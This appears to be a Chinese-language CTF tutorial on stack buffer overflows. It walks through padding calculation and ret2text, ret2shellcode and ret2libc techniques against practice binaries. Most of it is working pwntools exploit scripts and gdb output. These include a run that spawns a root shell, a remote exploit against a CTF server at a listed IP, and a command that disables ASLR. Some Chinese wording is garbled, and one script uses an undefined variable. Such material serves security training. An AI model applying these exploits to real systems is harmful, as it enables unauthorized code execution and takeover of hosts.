PWN- 栈溢出入门
溢出 padding 计算
办法 1：esp/ebp 间隔计算
- 溢出函数处下断点
b main - 记录 esp、ebp
EBP: 0xbffff508 --> 0x0
ESP: 0xbffff480 --> 0x0
- 找到溢出函数参数地位
0x804858c <main+95>: lea eax,[esp+0x1c]-
padding = (ebp – (esp+1c)) + 4 = (0xbffff508 – 0xbffff480 – 0x1c) +4 = 112
办法 2：pattern_create
通常状况下 ebp + 4/rbp + 8 更精确
pattern_offset $ebp
pattern_offset $eip
pattern_offset $rbp
pattern_offset $rip
办法 3：cyclic
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# cyclic 200 148 ⨯ 1 ⚙
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# gdb ret2shellcode 1 ⚙
gdb-peda$ run
Starting program: /home/kali/Desktop/CTF/ret2shellcode
No system for you this time !!!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
bye bye ~
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x9 ('\t')
EDX: 0xffffffff
ESI: 0xb7fb0000 --> 0x1e4d6c
EDI: 0xb7fb0000 --> 0x1e4d6c
EBP: 0x62616163 ('caab')
ESP: 0xbffff510 ("eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
EIP: 0x62616164 ('daab')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x62616164
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x62616164 in ?? ()
gdb-peda$
zsh: suspended gdb ret2shellcode
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# cyclic -l "0x62616164" 148 ⨯ 2 ⚙
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
112
栈溢出利用
ret2text
ret2text 即控制程序执行程序自身已有的的代码 (.text)
示例
// gcc -m32 -fno-stack-protector -no-pie ret2text.c -o ret2text
#include <stdio.h>
#include <string.h>
void success() {puts("SUCCESS!!!");
system("cat flag");
}
void vulnerable() {char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {vulnerable();
return 0;
}
.text 段存在 flag 要害信息函数
计算溢出长度
xxxxx
python 代码
from pwn import *
sh = process("./ret2text")
win = 0x8049182
sh.sendline(b'A'*24 + p32(win))
sh.interactive()
ret2shellcode
图 1
图 2
问题：如何确定 shellcode 起始地址
敞开 ASLR
ASLR(零碎开启的)
ASLR 是一种针对缓冲区溢出的平安爱护技术，通过对堆、栈、共享库映射等线性区布局的随机化，通过减少攻击者预测目标地址的难度，避免攻击者间接定位攻打代码地位，达到阻止溢出攻打的目标。在 linux 中应用此技术后，杀死某程序后从新开启，地址换。在 windows 中应用此技术后，杀死过程后从新开启，地址不换，重启才会扭转。以上 cat 命令输入的值示意：0 - 示意敞开过程地址空间随机化。1 - 示意将 mmap 的基址，stack 和 vdso 页面随机化。2 - 示意在 1 的根底上减少栈（heap）的随机化。echo 0 > /proc/sys/kernel/randomize_va_space
echo 1 > /proc/sys/kernel/core_uses_pid
示例
#include <unistd.h>
void vuln_func()
{char buf[128];
read(STDIN_FILENO,buf,256);
}
int main(void)
{vuln_func();
write(STDOUT_FILENO,"hello world!\n",13);
}
1. 执行溢出确定溢出地址和 core 文件
为什么是 $esp-140-4 因为此时的 esp 指向函数返回地址
函数是执行 ret 之后才报错的，所以此时代码曾经执行实现 ret，也就是说 esp 指向（返回地址 + 4）
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# gdb stack3 core.2936 -q 1 ⚙
Reading symbols from stack3...
(No debugging symbols found in stack3)
[New LWP 2936]
Core was generated by `./stack3'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xbf91afc0 in ?? ()
gdb-peda$ x/4wx $esp-140-4
0xbffff4c0: 0x2f68686a 0x68732f2f 0x6e69622f 0x0168e389
gdb-peda$
zsh: suspended gdb stack3 core.2936 -q
#!/usr/bin/env python
from pwn import *
sh = process('./stack3')
# 办法 1
shellcode = asm(shellcraft.sh())
buf2_addr = 0xbffff4c0
print(shellcode)
pause()
sh.sendline(shellcode + b'B'*(140-len(shellcode)) + p32(buf2_addr) )
sh.interactive()
办法 2：
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# gdb stack3 core.2961 -q 6 ⚙
Reading symbols from stack3...
(No debugging symbols found in stack3)
[New LWP 2961]
Core was generated by `./stack3'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0xbf91afc0 in ?? ()
gdb-peda$ x/4wx $esp
0xbffff550: 0xbffff50a 0x00000000 0x00000000 0xb7de9e46
gdb-peda$
#!/usr/bin/env python
from pwn import *
sh = process('./stack3')
# 办法 2
buf2_addr = 0xbffff550 # 就是 esp 的值
print(shellcode)
pause()
sh.sendline(b'b'*140+ p32(buf2_addr) + shellcode)
sh.interactive()
┌──(root💀kali)-[/home/kali/Desktop/CTF]
└─# python3 stack3.py 3 ⚙
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './stack3': pid 3037
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),143(kaboxer)
$
[*] Interrupted
[*] Stopped process './stack3' (pid 3037)
ret2libc
例 1
IDA 剖析
sh_addr = 0x08048720
system_addr = 0x08048460
padding = 112
exp
from pwn import *
sh = process("./ret2libc1")
binsh = 0x08048720
system_plt = 0x08048460
whatever_addr = 0x11111111
payload = b"a" * 112
payload += p32(system_plt)
payload += p32(whatever_addr)# 这里就是调用 system 的返回地址，没有实际意义
payload += p32(binsh)
sh.sendline(payload)
sh.interactive()
例 2
checksec
xxxxx
计算 padding = 112
.bss buf2 = 0x0804A080
gets = 08048460
system = 08048490
栈状况剖析
exp
from pwn import *
sh = process("./ret2libc2")
get_addr = 0x08048460
buf_addr = 0x0804A080
system_addr = 0x08048490
payload = b"Q" * 112
payload += p32(get_addr)
payload += p32(system_addr)
payload += p32(buf_addr)
payload += p32(buf_addr)
sh.sendline(payload)
sh.sendline("/bin/sh")
sh.interactive()
exp2
from pwn import *
sh = process("./ret2libc2")
elf = ELF("./ret2libc2")
get_addr = elf.plt['gets']
system_addr = elf.plt['system']
buf_addr = elf.symbols['buf2']
payload = b"Q" * 112
payload += p32(get_addr)
payload += p32(system_addr)
payload += p32(buf_addr)
payload += p32(buf_addr)
sh.sendline(payload)
sh.sendline("/bin/sh")
sh.interactive()
例 3
函数基址 base = A 函数 got – A 函数 libc = B 函数 got – B 函数 libc
xctf level3
libc_write = 0x000D43C0
libc_system = 0x0003A940
libc_bin = 0x0015902B
1. from pwn import *
2.
3. p=remote('111.200.241.244',65388)
4. elf=ELF('./level3')
5. libc = ELF('./libc_32.so.6')
6.
7. write_plt=elf.plt['write']
8. write_got=elf.got['write']
9. main_addr=elf.sym['main']
10.
11. p.recvuntil(":\n")
12. payload1=b'A'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
13. p.sendline(payload1)
14.
15. write_got_addr=u32(p.recv())
16.
17. libc_write = 0x000D43C0
18. libc_system = 0x0003A940
19. libc_bin = 0x0015902B
20.
21. # libc_base=write_got_addr-libc.sym['write']
22. libc_base=write_got_addr-libc_write
23. system_addr = libc_base+libc_system
24. # system_addr = libc_base+libc.sym['system']
25.
26. bin_sh_addr = libc_base + 0x15902b
27. payload2=b'A'*(0x88+4)+p32(system_addr)+p32(0x12341234)+p32(bin_sh_addr)
28. p.recvuntil(":\n")
29. p.sendline(payload2)
30. p.interactive()